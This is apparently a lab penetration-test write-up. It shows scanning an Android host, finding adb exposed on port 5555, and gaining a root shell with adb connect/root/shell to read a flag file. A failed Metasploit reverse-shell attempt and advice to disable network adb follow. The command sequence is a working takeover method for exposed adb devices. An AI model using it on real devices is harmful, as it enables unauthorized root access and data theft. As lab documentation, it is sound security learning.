README.md

Pentest 4 - Android - 48 - 10.14.1.48

Starting off this test, I wanted to evaluate a tool called autorecon that I was recommended. The framework itself is a shortcut to a lot of steps that are run manually such as nmap / nikto scans, and created a directory structure for findings.
Useful to keep all your material and dumps / output in the same location.
So I setup and installed AutoRecon, and proceeded to run it.

```
mkdir ~/reports/4/
cd ~/reports/4/
export ANDROID=10.14.1.48
sudo autorecon $ANDROID
```

Scanning

This produced the following scanning commands and output. Only one port was open - 5555, and deemed to be `adb` (Android Debugger).

```
└─$ cat _commands.log
nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -oN "/home/kali/re

nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN "/home/kal

nmap -vv --reason -Pn -T4 -sU -A --top-ports 100 -oN "/home/kali/reports/4/results/1

└─$ cat _quick_tcp_nmap.txt
# Nmap 7.94 scan initiated Sun Jul 30 12:37:27 2023 as: nmap -vv --reason -Pn -T4 -s
adjust_timeouts2: packet supposedly had rtt of -163144 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -163144 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -189214 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -189214 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -160070 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -160070 microseconds.  Ignoring time.
Nmap scan report for 10.14.1.48
Host is up, received user-set (0.17s latency).
Scanned at 2023-07-30 12:37:27 EDT for 45s
Not shown: 999 closed tcp ports (reset)
```

```
PORT     STATE SERVICE REASON         VERSION
5555/tcp open  adb     syn-ack ttl 63 Android Debug Bridge device (name: android_x86
Aggressive OS guesses: Linux 4.4 (99%), Linux 4.0 (98%), Linux 3.11 - 4.1 (96%), Lin
No exact OS matches for host (If you know what OS is running on it, see https://nmap
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/30%OT=5555%CT=1%CU=38165%PV=Y%DS=2%DC=I%G=Y%TM=64C69
OS:1F4%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=101%TI=Z%TS=A)SEQ(SP=102%
OS:GCD=1%ISR=103%TI=Z%II=I%TS=A)SEQ(SP=103%GCD=1%ISR=103%TI=Z%TS=A)SEQ(SP=1
OS:03%GCD=1%ISR=103%TI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B
OS:4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%
OS:W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%TG=40%W=7210%O=M5B4NNSNW7%C
OS:C=Y%Q=)ECN(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%TG=40%S
OS:=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=
OS:N)T4(R=N)T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40
OS:%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=N)U1(R=Y%DF=N%T=40%IPL=
OS:164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%TG=40%CD=S)IE(R=
OS:Y%DFI=N%T=40%CD=S)

Uptime guess: 0.001 days (since Sun Jul 30 12:37:26 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Android; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT       ADDRESS
1   169.36 ms 10.14.1.48

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://n
# Nmap done at Sun Jul 30 12:38:12 2023 -- 1 IP address (1 host up) scanned in 44.47
```

Exploitation

I've used adb in the past as I've rooted my own personal devices. Based on that previous experience, and the fact that I knew it had a listening port, I guessed maybe I could just try to access it directly?

```
└─$ adb
Command 'adb' not found, but can be installed with:
sudo apt install adb
sudo apt install google-android-platform-tools-installer

sudo apt install adb google-android-platform-tools-installer

Processing triggers for kali-menu (2021.4.2) ...
```

```
Processing triggers for libc-bin (2.36-9) ...
Processing triggers for man-db (2.9.4-2) ...

┌──(kali㉿kali)-[~/reports/4/results]
└─$ adb connect
adb: usage: adb connect HOST[:PORT]


┌──(kali㉿kali)-[~/reports/4/results]
└─$ adb connect $ANDROID
* daemon not running; starting now at tcp:5037
* daemon started successfully
connected to 10.14.1.48:5555

┌──(kali㉿kali)-[~/reports/4/results]
└─$ adb connect $ANDROID
already connected to 10.14.1.48:5555

┌──(kali㉿kali)-[~/reports/4/results]
└─$ adb root
restarting adbd as root

┌──(kali㉿kali)-[~/reports/4/results]
└─$ adb shell
root@x86:/ # whoami
root

1|root@x86:/ # ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: sit0@NONE: <NOARP> mtu 1480 qdisc noop state DOWN
    link/sit 0.0.0.0 brd 0.0.0.0
3: ip6tnl0@NONE: <NOARP> mtu 1452 qdisc noop state DOWN
    link/tunnel6 :: brd ::
4: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1
    link/ether 00:0c:29:af:f6:88 brd ff:ff:ff:ff:ff:ff
    inet 10.14.1.48/24 brd 10.14.1.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::20c:29ff:feaf:f688/64 scope link
       valid_lft forever preferred_lft forever
root@x86:/ #

127|root@x86:/ # getprop net.hostname
android-e198eecc6f5457fa
root@x86:/ #
```

```
root@x86:/ # find / -name key.txt
/data/root/key.txt
root@x86:/ #
root@x86:/ # cat /data/root/key.txt
x7vyfyxcaq6p7vxx2ruo
root@x86:/ #
```

Conclusion

That was really straight-forward?
Essentially, I was able to install `adb`, connect to the host, and pop a shell.
From here, I thought it was almost too easy, so I ran a few commands just to make sure I was in fact on the host - namely `ip addr` to verify the interface I was on, as well as the hostname. All checked out, and we got the flag.

Alternate

I was curious if Metasploit had anything for this as well. While there was an exploit available, I was unable to successfully use it - no shell sessions were established.

```
msf6 > search adb platform:android
[-] No results from search
msf6 > search adb platform:linux

As a test, I tried metasploit to see if I would have any success -

search adb platform:linux
Matching Modules
================

   #  Name                                                  Disclosure Date  Rank
   -  ----                                                  ---------------  ----
   0  exploit/android/adb/adb_server_exec                   2016-01-01       excell
   1  exploit/multi/misc/bmc_server_automation_rscd_nsh_rce  2016-03-16       excell


Interact with a module by name or index. For example info 1, use 1 or use exploit/mu

msf6 > use 0

msf6 exploit(android/adb/adb_server_exec) > show options

Module options (exploit/android/adb/adb_server_exec):
```

```
   Name         Current Setting   Required  Description
   ----         ---------------   --------  -----------
   RHOSTS                         yes       The target host(s), see https://github.c
   RPORT        5555              yes       The target port (TCP)
   SRVHOST      0.0.0.0           yes       The local host or network interface to l
   SRVPORT      8080              yes       The local port to listen on.
   SSL          false             no        Negotiate SSL for incoming connections
   SSLCert                        no        Path to a custom SSL certificate (defaul
   URIPATH                        no        The URI to use for this exploit (default
   WritableDir  /data/local/tmp/  yes       Writable directory


Payload options (linux/armle/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   ARGV0  sh               no        argv[0] to pass to execve
   LHOST                   yes       The listen address (an interface may be specifi
   LPORT  4444             yes       The listen port
   SHELL  /bin/sh          yes       The shell to execute.


Exploit target:

   Id  Name
   --  ----
   0   armle

msf6 exploit(android/adb/adb_server_exec) > set RHOST 10.14.1.48
RHOST => 10.14.1.48
msf6 exploit(android/adb/adb_server_exec) > set LHOST ppp0
LHOST => 172.16.4.1
msf6 exploit(android/adb/adb_server_exec) > exploit


*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.48:5555 - Connecting to device...
[-] Command shell session 1 is not valid and will be closed
[*] 10.14.1.48 - Command shell session 1 closed.
[-] Command shell session 2 is not valid and will be closed
[*] 10.14.1.48 - Command shell session 2 closed.
```

Remediation

Most importantly, I would disable adb over the network. In practice, I've only ever used `adb` locally, when directly connected to the device using USB. If this is a built-in device, or something that is not easily physically accessible (like a mounted tablet), at a minimum restricting access to a private / local subnet only, to limit and prevent outside access.